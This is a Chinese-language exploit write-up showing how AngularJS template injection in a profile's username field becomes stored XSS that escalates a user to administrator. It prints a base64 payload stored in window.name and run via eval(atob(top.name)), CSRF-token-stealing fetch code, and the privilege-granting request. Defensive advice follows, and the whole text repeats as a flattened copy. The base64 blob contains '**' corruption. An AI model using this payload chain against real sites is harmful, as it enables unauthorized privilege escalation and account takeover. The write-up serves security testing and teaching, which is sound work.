利用基于AngularJS的XSS实现提权
字数 996 2025-08-18 11:39:00

基于AngularJS的XSS提权技术详解

漏洞背景

本文介绍了一种利用AngularJS模板注入实现XSS攻击,并最终提升用户权限的技术。该漏洞存在于一个用户配置文件页面,允许攻击者通过精心构造的payload将普通用户权限提升为管理员权限。

漏洞发现过程

初始测试

  1. 目标页面:用户配置文件页面(如https://www.site.com/users/username-here
  2. 常规XSS测试payload(如">)被过滤,说明应用有基本的XSS防护
  3. 尝试AngularJS模板注入,将用户名改为{{7*7}}测试AngularJS执行环境

攻击面分析

  • 管理员用户拥有编辑/添加用户权限
  • 通过csc=1参数可以授予用户完全权限
  • 需要获取CSRF令牌才能构造有效请求

技术限制与绕过

输入长度限制

  • 用户名字段有长度限制,无法直接注入完整利用代码
  • 无法注入引用外部JavaScript的<script>标签

解决方案:window.name技术

  1. 使用window.name存储base64编码的利用代码
  2. 通过eval(atob(top.name))执行代码
  3. 优势:
    • 不受输入长度限制
    • 绕过关键字过滤(主要利用代码不直接出现在输入中)
    • 避免验证检查

漏洞利用步骤

1. 设置window.name

<script>
window.open(
  'https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname',
  'dmFyIHdvb3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdodG1sJyk7CmZldGNoKCdodHRwczovL3Z1bG5lcmFibGVzaXRlLmNvbS9zZXR0aW5ncycse2NyZWRlbnRpYWxzOiAnaW5jbHVkZSd9KS50aGVuKChyZXNwKSA9PiByZXNwLnRleHQoKSkudGhlbihmdW5jdGlvbihkYXRhKXsKCndvb3QuaW5uZXJIVE1MPWRhdGE7CnZhciBjc3JmX3Rva2VuID0gd29vdC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnbWV0YScpWzNdWydjb250ZW50J107CnByaXZpbGVnZV9lc2NhbGF0ZSgpOwoKZnVuY3Rpb24gcHJpdmlsZWdlX2VzY2FsYXRlKCl7CnZhciByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKcmVxL**wZW4oJ1BPU1QnLCdodHRwczovL3Z1bG5lcmFibGVzaXRlLmNvbS91c2Vycy9tcnMtY2FteWxsZS1rZXJ0em1hemV2YWx3aW5kb3duYW1lJyx0cnVlKTsKcmVxLndpdGhDcmVkZW50aWFscyA9IHRydWU7CnJlcS5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZ**ybS11cmxlbmNvZGVkIik7IApyZXEuc2VuZCgnX21ldGhvZD1QVVQmX3Rva2VuPScrY3NyZl90b2tlbisnJm5hbWU9TXJzLitDYW15bGxlK0tlcnR6bWF6JTdCJTdCZXZhbCUyOHdpbmRvdy5uYW1lJTI5JTdEJTdEJmVtYWlsPXVzZXIlNDBleGFtcGxlL**yZyZwaG9uZT0mY3NjPTEnKTsKfQoKfQop'
)
</script>

2. 获取CSRF令牌

var woot = document.createElement('html');
fetch('https://vulnerablesite.com/settings', {
  credentials: 'include'
}).then((resp) => resp.text()).then(function(data) {
  woot.innerHTML = data;
  var csrf_token = woot.getElementsByTagName('meta')[3]['content'];
  privilege_escalate();
});

3. 构造提权请求

function privilege_escalate() {
  var req = new XMLHttpRequest();
  req.open('POST', 'https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname', true);
  req.withCredentials = true;
  req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  req.send('_method=PUT&_token=' + csrf_token + '&name=Mrs.+Camylle+Kertzmaz%7B%7Beval%28window.name%29%7D%7D&email=user%40example.org&phone=&csc=1');
}

完整利用代码

// XSS Exploit code for Privilege Escalation
var woot = document.createElement('html');
fetch('https://vulnerablesite.com/settings', {
  credentials: 'include'
}).then((resp) => resp.text()).then(function(data) {
  woot.innerHTML = data;
  var csrf_token = woot.getElementsByTagName('meta')[3]['content'];
  privilege_escalate();
  
  function privilege_escalate() {
    var req = new XMLHttpRequest();
    req.open('POST', 'https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname', true);
    req.withCredentials = true;
    req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
    req.send('_method=PUT&_token=' + csrf_token + '&name=Mrs.+Camylle+Kertzmaz%7B%7Beval%28window.name%29%7D%7D&email=user%40example.org&phone=&csc=1');
  }
})

关键请求分析

POST /users/attackers-username HTTP/1.1
Host: vulnerablesite.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 141

_method=PUT&_token=CSRF_TOKEN_HERE&name=USERNAME&email=USER_EMAIL&phone=&csc=1

关键参数:

  • _method=PUT:模拟PUT请求
  • csc=1:授予管理员权限的标志

防御建议

  1. 输入过滤

    • 对所有用户输入进行严格过滤
    • 特别关注AngularJS模板注入的特殊字符
  2. 输出编码

    • 对所有动态输出进行适当的HTML编码
  3. 权限控制

    • 实施最小权限原则
    • 对敏感操作进行二次验证
  4. CSRF防护

    • 使用同步令牌模式
    • 考虑SameSite Cookie属性
  5. 内容安全策略(CSP)

    • 实施严格的CSP策略
    • 限制内联脚本执行

总结

本案例展示了如何通过AngularJS模板注入实现XSS攻击,并利用window.name技术绕过输入限制,最终实现权限提升。这提醒我们:

  1. XSS防护不应仅停留在简单的字符过滤
  2. 现代前端框架可能引入新的攻击面
  3. 权限提升功能需要特别保护
  4. 防御措施需要多层次、全方位

安全测试时应尝试各种技术(如模板注入、文件上传等),而不仅限于传统XSS测试方法。

基于AngularJS的XSS提权技术详解 漏洞背景 本文介绍了一种利用AngularJS模板注入实现XSS攻击,并最终提升用户权限的技术。该漏洞存在于一个用户配置文件页面,允许攻击者通过精心构造的payload将普通用户权限提升为管理员权限。 漏洞发现过程 初始测试 目标页面:用户配置文件页面(如 https://www.site.com/users/username-here ) 常规XSS测试payload(如 "> )被过滤,说明应用有基本的XSS防护 尝试AngularJS模板注入,将用户名改为 {{7*7}} 测试AngularJS执行环境 攻击面分析 管理员用户拥有编辑/添加用户权限 通过 csc=1 参数可以授予用户完全权限 需要获取CSRF令牌才能构造有效请求 技术限制与绕过 输入长度限制 用户名字段有长度限制,无法直接注入完整利用代码 无法注入引用外部JavaScript的 <script> 标签 解决方案:window.name技术 使用 window.name 存储base64编码的利用代码 通过 eval(atob(top.name)) 执行代码 优势: 不受输入长度限制 绕过关键字过滤(主要利用代码不直接出现在输入中) 避免验证检查 漏洞利用步骤 1. 设置window.name 2. 获取CSRF令牌 3. 构造提权请求 完整利用代码 关键请求分析 关键参数: _method=PUT :模拟PUT请求 csc=1 :授予管理员权限的标志 防御建议 输入过滤 : 对所有用户输入进行严格过滤 特别关注AngularJS模板注入的特殊字符 输出编码 : 对所有动态输出进行适当的HTML编码 权限控制 : 实施最小权限原则 对敏感操作进行二次验证 CSRF防护 : 使用同步令牌模式 考虑SameSite Cookie属性 内容安全策略(CSP) : 实施严格的CSP策略 限制内联脚本执行 总结 本案例展示了如何通过AngularJS模板注入实现XSS攻击,并利用window.name技术绕过输入限制,最终实现权限提升。这提醒我们: XSS防护不应仅停留在简单的字符过滤 现代前端框架可能引入新的攻击面 权限提升功能需要特别保护 防御措施需要多层次、全方位 安全测试时应尝试各种技术(如模板注入、文件上传等),而不仅限于传统XSS测试方法。